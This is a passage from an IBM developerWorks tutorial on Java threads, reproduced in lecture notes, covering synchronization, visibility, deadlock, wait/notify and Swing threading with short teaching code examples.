Java lockingJava locking incorporates a form of mutual exclusion. Only one thread may hold a lock at onetime. Locks are used to protect blocks of code or entire methods, but it is important toremember that it is the identity of the lock that protects a block of code, not the block itself.One lock may protect many blocks of code or methods.

Conversely, just because a block of code is protected by a lock does not mean that twothreads cannot execute that block at once. It only means that two threads cannot executethat block at once if they are waiting on the same lock.

In the following example, the two threads are free to execute the synchronized block insetLastAccess() simultaneously because each thread has a different value for thingie.Therefore, the synchronized block is protected by different locks in the two executingthreads.

public class SyncExample {public static class Thingie {

private Date lastAccess;

ibm.com/developerWorks Presented by developerWorks, your source for great tutorials

Page 18 of 30 Introduction to Java threads

Page 407: Taner Erkan Java 2 lecture Ders notları

public synchronized void setLastAccess(Date date) {this.lastAccess = date;

}}

public static class MyThread extends Thread {private Thingie thingie;

public MyThread(Thingie thingie) {this.thingie = thingie;

}

public void run() {thingie.setLastAccess(new Date());

}}

public static void main() {Thingie thingie1 = new Thingie(),thingie2 = new Thingie();

new MyThread(thingie1).start();new MyThread(thingie2).start();

}}

Synchronized methodsThe simplest way to create a synchronized block is to declare a method assynchronized. This means that before entering the method body, the caller must acquire alock:

public class Point {public synchronized void setXY(int x, int y) {this.x = x;this.y = y;

}}

For ordinary synchronized methods, this lock will be the object on which the method isbeing invoked. For static synchronized methods, this lock will be the monitor associatedwith the Class object in which the method is declared.

Just because setXY() is declared as synchronized doesn't mean that two differentthreads can't still execute setXY() at the same time, as long as they are invoking setXY()on different Point instances. Only one thread can execute setXY(), or any othersynchronized method of Point, on a single Point instance at one time.

Synchronized blocksThe syntax for synchronized blocks is a little more complicated than for synchronizedmethods because you also need to explicitly specify what lock is being protected by theblock. The following version of Point is equivalent to the version shown in the previous

Presented by developerWorks, your source for great tutorials ibm.com/developerWorks

Introduction to Java threads Page 19 of 30

Page 408: Taner Erkan Java 2 lecture Ders notları

panel:

public class Point {public void setXY(int x, int y) {synchronized (this) {this.x = x;this.y = y;

}}

}

It is common, but not required, to use the this reference as the lock. This means that theblock will use the same lock as synchronized methods in that class.

Because synchronization prevents multiple threads from executing a block at once, it hasperformance implications, even on uniprocessor systems. It is a good practice to usesynchronization around the smallest possible block of code that needs to be protected.

Access to local (stack-based) variables never need to be protected, because they are onlyaccessible from the owning thread.

Most classes are not synchronizedBecause synchronization carries a small performance penalty, most general-purposeclasses, like the Collection classes in java.util, do not use synchronization internally.This means that classes like HashMap cannot be used from multiple threads withoutadditional synchronization.

You can use the Collections classes in a multithreaded application by using synchronizationevery time you access a method in a shared collection. For any given collection, you mustsynchronize on the same lock each time. A common choice of lock would be the collectionobject itself.

The example class SimpleCache in the next panel shows how you can use a HashMap toprovide caching in a thread-safe way. Generally, however, proper synchronization doesn'tjust mean synchronizing every method.

The Collections class provides us with a set of convenience wrappers for the List, Map,and Set interfaces. You can wrap a Map with Collections.synchronizedMap and it willensure that all access to that map is properly synchronized.

If the documentation for a class does not say that it is thread-safe, then you must assumethat it is not.

Example: A simple thread-safe cacheAs shown in the following code sample, SimpleCache.java uses a HashMap to provide asimple cache for an object loader. The load() method knows how to load an object by itskey. After an object is loaded once, it is stored in the cache so subsequent accesses willretrieve it from the cache instead of loading it all over each time. Each access to the shared

ibm.com/developerWorks Presented by developerWorks, your source for great tutorials

Page 20 of 30 Introduction to Java threads

Page 409: Taner Erkan Java 2 lecture Ders notları

cache is protected by a synchronized block. Because it is properly synchronized, multiplethreads can call the getObject and clearCache methods simultaneously without risk ofdata corruption.

public class SimpleCache {private final Map cache = new HashMap();

public Object load(String objectName) {// load the object somehow

}

public void clearCache() {synchronized (cache) {cache.clear();

}}

public Object getObject(String objectName) {synchronized (cache) {Object o = cache.get(objectName);if (o == null) {o = load(objectName);cache.put(objectName, o);

}}

return o;}

}

SummaryBecause the timing of thread execution is nondeterministic, we need to be careful to control athread's access to shared data. Otherwise, multiple concurrent threads could step on eachother's changes and result in corrupted data, or changes to shared data might not be madevisible to other threads on a timely basis.

By using synchronization to protect access to shared variables, we can ensure that threadsinteract with program variables in predictable ways.

Every Java object can act as a lock, and synchronized blocks can ensure that only onethread executes synchronized code protected by a given lock at one time.

Presented by developerWorks, your source for great tutorials ibm.com/developerWorks

Introduction to Java threads Page 21 of 30

Page 410: Taner Erkan Java 2 lecture Ders notları

Section 6. Synchronization details

Mutual exclusionIn Sharing access to data on page 16 , we discussed the characteristics of synchronizedblocks and described them as implementing a classic mutex (that is, mutual exclusion orcritical section), in which only one thread can execute a block protected by a given lock atone time.

Mutual exclusion is an important part of what synchronization does, but synchronization alsohas several other characteristics important to achieve correct results on multiprocessorsystems.

VisibilityIn addition to mutual exclusion, synchronization, like volatile, enforces certain visibilityconstraints. When an object acquires a lock, it first invalidates its cache, so that it isguaranteed to load variables directly from main memory.

Similarly, before an object releases a lock, it flushes its cache, forcing any changes made toappear in main memory.

In this way, two threads that synchronize on the same lock are guaranteed to see the samevalues in variables modified inside a synchronized block.

When do you have to synchronize?To maintain proper visibility across threads, you have to use synchronized (or volatile)to ensure that changes made by one thread are visible by another whenever a non-finalvariable is shared among several threads.

The basic rule for synchronizing for visibility is that you must synchronize whenever you are:

• Reading a variable that may have been last written by another thread

• Writing a variable that may be read next by another thread

Synchronization for consistencyIn addition to synchronizing for visibility, you must also synchronize to ensure thatconsistency is maintained from an application perspective. When modifying multiple relatedvalues, you want other threads to see that set of changes atomically -- either all of thechanges or none of them. This applies to related data items (such as the position andvelocity of a particle) and metadata items (such as the data values contained in a linked listand the chain of entries in the list itself).

Consider the following example, which implements a simple (but not thread-safe) stack ofintegers:

ibm.com/developerWorks Presented by developerWorks, your source for great tutorials

Page 22 of 30 Introduction to Java threads

Page 411: Taner Erkan Java 2 lecture Ders notları

public class UnsafeStack {public int top = 0;public int[] values = new int[1000];

public void push(int n) {values[top++] = n;

}

public int pop() {return values[--top];

}}

What happens if more than one thread tries to use this class at the same time? It could be adisaster. Because there's no synchronization, multiple threads could execute push() andpop() at the same time. What if one thread calls push() and another thread calls push()right between the time top is incremented and it is used as an index into values? Thenboth threads would store their new value in the same location! This is just one of many formsof data corruption that can occur when multiple threads rely on a known relationship betweendata values, but don't ensure that only one thread is manipulating those values at a giventime.

In this case, the cure is simple: synchronize both push() and pop(), and you'll prevent onethread from stepping on another.

Note that using volatile would not have been enough -- you need to use synchronizedto ensure that the relationship between top and values remains consistent.

Incrementing a shared counterIn general, if you're protecting a single primitive variable, such as an integer, you cansometimes get away with just using volatile. However, if new values of the variable arederived from previous values, you will have to use synchronization. Why? Consider thisclass:

public class Counter {private int counter = 0;

public int get() { return counter; }public void set(int n) { counter = n; }public void increment() {set(get() + 1);

}}

What happens when we want to increment the counter? Look at the code for increment().It is clear, but it is not thread-safe. What happens if two threads try to execute increment()at the same time? The counter might be incremented by 1 or by 2. Surprisingly, markingcounter as volatile won't help, nor will making both get() and set() synchronized.

Imagine that the counter is zero and two threads execute the increment code at exactly thesame time. Both threads call Counter.get() and see that the counter is zero. Now both

Presented by developerWorks, your source for great tutorials ibm.com/developerWorks

Introduction to Java threads Page 23 of 30

Page 412: Taner Erkan Java 2 lecture Ders notları

add one to this and then call Counter.set(). If our timing is unlucky, neither will see theother's update, even if counter is volatile or get() and set() are synchronized.Now, even though we've incremented the counter twice, the resulting value may only be oneinstead of two.

For increment to work properly, not only do get() and set() have to be synchronized,but increment() needs to be synchronized, too! Otherwise, a thread callingincrement() could interrupt another thread calling increment(). If you're unlucky, theend result would be that the counter is incremented once instead of twice. Synchronizingincrement() prevents this from happening, because the entire increment operation isatomic.

The same is true when you are iterating through the elements of a Vector. Even though themethods of Vector are synchronized, the contents of Vector could still change while youare iterating. If you want to ensure that the contents of Vector don't change while you'reiterating through it, you have to wrap the entire block with synchronization on it.

Immutability and final fieldsMany Java classes, including String, Integer, and BigDecimal, are immutable: onceconstructed, their state never changes. A class would be immutable if all of its fields weredeclared final. (In practice, many immutable classes have non-final fields to cachepreviously computed method results, like String.hashCode(), but this is invisible to thecaller.)

Immutable classes make concurrent programming substantially simpler. Because their fieldsdo not change, you do not need to worry about propagating changes in state from one threadto another. Once the object is properly constructed, it can be considered constant.

Similarly, final fields are also more thread-friendly. Because final fields cannot change theirvalue once initialized, you do not need to synchronize access when sharing final fieldsacross threads.

When you don't need to synchronizeThere are a few cases where you do not have to synchronize to propagate data from onethread to another, because the JVM is implicitly performing the synchronization for you.These cases include:

• When data is initialized by a static initializer (an initializer on a static field or in a static{}block)

• When accessing final fields

• When an object is created before a thread is created

• When an object is already visible to a thread that it is then joined with

DeadlockWhenever you have multiple processes contending for exclusive access to multiple locks,

ibm.com/developerWorks Presented by developerWorks, your source for great tutorials

Page 24 of 30 Introduction to Java threads

Page 413: Taner Erkan Java 2 lecture Ders notları

there is the possibility of deadlock. A set of processes or threads is said to be deadlockedwhen each is waiting for an action that only one of the others can perform.

The most common form of deadlock is when Thread 1 holds a lock on Object A and iswaiting for the lock on Object B, and Thread 2 holds the lock on Object B and is waiting forthe lock on Object A. Neither thread will ever acquire the second lock or relinquish the firstlock. They will simply wait forever.

To avoid deadlock, you should ensure that when you acquire multiple locks, you alwaysacquire the locks in the same order in all threads.

Performance considerationsThere has been a lot written -- much of it wrong -- on the performance costs ofsynchronization. It is true that synchronization, especially contended synchronization, hasperformance implications, but these may not be as large as is widely suspected.

Many people have gotten themselves in trouble by using fancy but ineffective tricks to try toavoid having to synchronize. One classic example is the double-checked locking pattern (seeResources on page 28 for several articles on what's wrong with it). This harmless-lookingconstruct purported to avoid synchronization on a common code path, but was subtly broken,and all attempts to fix it were also broken.

When writing concurrent code, don't worry so much about performance until you've actuallyseen evidence of performance problems. Bottlenecks appear in the places we often leastsuspect. Speculatively optimizing one code path that may not even turn out to be aperformance problem -- at the cost of program correctness -- is a false economy.

Guidelines for synchronizationThere are a few simple guidelines you can follow when writing synchronized blocks thatwill go a long way toward helping you to avoid the risks of deadlock and performancehazards:

• Keep blocks short. Synchronized blocks should be short -- as short as possible whilestill protecting the integrity of related data operations. Move thread-invariant preprocessingand postprocessing out of synchronized blocks.

• Don't block. Don't ever call a method that might block, such as InputStream.read(),inside a synchronized block or method.

• Don't invoke methods on other objects while holding a lock. This may sound extreme,but it eliminates the most common source of deadlock.

Presented by developerWorks, your source for great tutorials ibm.com/developerWorks

Introduction to Java threads Page 25 of 30

Page 414: Taner Erkan Java 2 lecture Ders notları

Section 7. Additional thread API details

wait(), notify(), and notifyAll() methodsIn addition to using polling, which can consume substantial CPU resources and hasimprecise timing characteristics, the Object class includes several methods for threads tosignal events from one thread to another.

The Object class defines the methods wait(), notify(), and notifyAll(). Toexecute any of these methods, you must be holding the lock for the associated object.

Wait() causes the calling thread to sleep until it is interrupted with Thread.interrupt(),the specified timeout elapses, or another thread wakes it up with notify() ornotifyAll().

When notify() is invoked on an object, if there are any threads waiting on that object viawait(), then one thread will be awakened. When notifyAll() is invoked on an object, allthreads waiting on that object will be awakened.

These methods are the building blocks of more sophisticated locking, queuing, andconcurrency code. However, the use of notify() and notifyAll() is complicated. Inparticular, using notify() instead of notifyAll() is risky. Use notifyAll() unless youreally know what you're doing.

Rather than use wait() and notify() to write your own schedulers, thread pools, queues,and locks, you should use the util.concurrent package (see Resources on page 28 ), awidely used open source toolkit full of useful concurrency utilities. JDK 1.5 will include thejava.util.concurrent package; many of its classes are derived fromutil.concurrent.

Thread prioritiesThe Thread API allows you to associate an execution priority with each thread. However,how these are mapped to the underlying operating system scheduler isimplementation-dependent. In some implementations, multiple -- or even all -- priorities maybe mapped to the same underlying operating system priority.

Many people are tempted to tinker with thread priorities when they encounter a problem likedeadlock, starvation, or other undesired scheduling characteristics. More often than not,however, this just moves the problem somewhere else. Most programs should simply avoidchanging thread priority.

Thread groupsThe ThreadGroup class was originally intended to be useful in structuring collections ofthreads into groups. However, it turns out that ThreadGroup is not all that useful. You arebetter off simply using the equivalent methods in Thread.

ThreadGroup does offer one useful feature not (yet) present in Thread: the

ibm.com/developerWorks Presented by developerWorks, your source for great tutorials

Page 26 of 30 Introduction to Java threads

Page 415: Taner Erkan Java 2 lecture Ders notları

uncaughtException() method. When a thread within a thread group exits because itthrew an uncaught exception, the ThreadGroup.uncaughtException() method iscalled. This gives you an opportunity to shut down the system, write a message to a log file,or restart a failed service.

SwingUtilitiesAlthough it is not part of the Thread API, the SwingUtilities class deserves a briefmention.

As mentioned earlier, Swing applications have a single UI thread (sometimes called theevent thread) in which all UI activity must occur. Sometimes another thread may want toupdate the appearance of something on the screen or fire an event on a Swing object.

The SwingUtilities.invokeLater() method allows you to pass a Runnable object toit, and the specified Runnable will be executed in the event thread. Its cousin,invokeAndWait(), will invoke Runnable in the event thread, but invokeAndWait() willblock until Runnable is finished executing.

void showHelloThereDialog() throws Exception {Runnable showModalDialog = new Runnable() {

public void run() {JOptionPane.showMessageDialog(myMainFrame, "Hello There");

}};SwingUtilities.invokeLater(showModalDialog);

}

For AWT applications, java.awt.EventQueue also provides invokeLater() andinvokeAndWait().

Presented by developerWorks, your source for great tutorials ibm.com/developerWorks

Introduction to Java threads Page 27 of 30

Page 416: Taner Erkan Java 2 lecture Ders notları

Section 8. Wrapup and resources

SummaryEvery Java program uses threads, whether you know it or not. If you are using either of theJava UI toolkits (AWT or Swing), Java Servlets, RMI, or JavaServer Pages or EnterpriseJavaBeans technologies, you may be using threads without realizing it.

There are a number of situations where you might want to explicitly use threads to improvethe performance, responsiveness, or organization of your programs. These include:

• Making the user interface more responsive when performing long tasks

• Exploiting multiprocessor systems to handle multiple tasks in parallel

• Simplifying modeling of simulations or agent-based systems

• Performing asynchronous or background processing

While the thread API is simple, writing thread-safe programs is not. When variables areshared across threads, you must take great care to ensure that you have properlysynchronized both read and write access to them. When writing a variable that may next beread by another thread, or reading a variable that may have been written by another thread,you must use synchronization to ensure that changes to data are visible across threads.

When using synchronization to protect shared variables, you must ensure that not only areyou using synchronization, but the reader and writer are synchronizing on the same monitor.Furthermore, if you rely on an object's state remaining the same across multiple operations,or rely on multiple variables staying consistent with each other (or consistent with their ownpast values), you must use synchronization to enforce this. But simply synchronizing everymethod in a class does not make it thread safe -- it just makes it more prone to deadlock.

ResourcesDownloads

• Explore Doug Lea's util.concurrent package(http://gee.cs.oswego.edu/dl/classes/EDU/oswego/cs/dl/util/concurrent/intro.html), whichcontains a wealth of useful classes for building efficient concurrent applications.

Articles and tutorials

• "Synchronization and the Java Memory Model" (http://gee.cs.oswego.edu/dl/cpj/jmm.html)is an excerpt from Doug Lea's book that focuses on the actual meaning ofsynchronized.

• In his article "Writing multithreading Java applications" (developerWorks, February 2001,http://www-106.ibm.com/developerworks/library/j-thread.html), Alex Roetter outlines issuesinvolved in Java multithreading and offers solutions to common problems.

ibm.com/developerWorks Presented by developerWorks, your source for great tutorials

Page 28 of 30 Introduction to Java threads

Page 417: Taner Erkan Java 2 lecture Ders notları

• "Threading lightly, Part 1: Synchronization is not the enemy" by Brian Goetz(developerWorks, July 2001, http://www-106.ibm.com/developerworks/library/j-threads1/)explores how to manage the performance of concurrent applications.

• "Achieve strong performance with threads" by Jeff Friesen (JavaWorld, May 2002,http://www.javaworld.com/javaworld/jw-05-2002/jw-0503-java101.html) is a four-parttutorial on using threads.

• "Double-checked locking: Clever, but broken " (JavaWorld, February 2001,http://www.javaworld.com/jw-02-2001/jw-0209-double.html), explores the Java MemoryModel in detail and the surprising consequences of failing to synchronize in certainsituations.

• Thread safety is tricky stuff. "Java theory and practice: Safe construction techniques"(developerWorks, June 2002,http://www-106.ibm.com/developerworks/library/j-jtp0618.html) offers some tips for safelyconstructing objects.

• In "Threads and Swing"(http://java.sun.com/products/jfc/tsc/articles/threads/threads1.html), the Sun folks explorethe rules of safe Swinging and introduce the useful SwingWorker class.

Recommended books

• Doug Lea's Concurrent Programming in Java, Second Edition (Addison-Wesley, 1999,http://www.amazon.com/exec/obidos/ASIN/0201310090/none0b69) is a masterful book onthe subtle issues surrounding multithreaded programming in Java applications.

• Paul Hyde's Java Thread Programming(http://www.amazon.com/exec/obidos/ASIN/0672315858/none0b69) is a nice tutorial andreference for many real-world multithreading issues.

• Allen Holub's book Taming Java Threads(http://www.amazon.com/exec/obidos/ASIN/1893115100/none0b69) is an enjoyableintroduction to the challenges of Java thread programming.

Additional resources

• The util.concurrent package is being formalized under Java Community ProcessJSR 166 (http://www.jcp.org/jsr/detail/166.jsp) for inclusion in the 1.5 release of the JDK.

• The Foxtrot project (http://foxtrot.sourceforge.net/) is an alternative -- and possibly simpler-- approach to threading in Swing applications.

• You'll find hundreds of articles about every aspect of Java programming in thedeveloperWorks Java technology zone (http://www-106.ibm.com/developerworks/java/).

Presented by developerWorks, your source for great tutorials ibm.com/developerWorks

Introduction to Java threads Page 29 of 30

Page 418: Taner Erkan Java 2 lecture Ders notları

• See the developerWorks Java technology tutorials page(http://www-105.ibm.com/developerworks/education.nsf/dw/java-onlinecourse-bytitle?OpenDocument&Count=500/)for a complete listing of free tutorials from developerWorks.

FeedbackPlease send us your feedback on this tutorial. We look forward to hearing from you!

Colophon

This tutorial was written entirely in XML, using the developerWorks Toot-O-Matic tutorialgenerator. The open source Toot-O-Matic tool is an XSLT stylesheet and several XSLTextension functions that convert an XML file into a number of HTML pages, a zip file, JPEGheading graphics, and two PDF files. Our ability to generate multiple text and binary formatsfrom a single source file illustrates the power and flexibility of XML. (It also saves ourproduction team a great deal of time and effort.)

You can get the source code for the Toot-O-Matic atwww6.software.ibm.com/dl/devworks/dw-tootomatic-p. The tutorial Building tutorials with theToot-O-Matic demonstrates how to use the Toot-O-Matic to create your own tutorials.developerWorks also hosts a forum devoted to the Toot-O-Matic; it's available atwww-105.ibm.com/developerworks/xml_df.nsf/AllViewTemplate?OpenForm&RestrictToCategory=11.We'd love to know what you think about the tool.

ibm.com/developerWorks Presented by developerWorks, your source for great tutorials

Page 30 of 30 Introduction to Java threads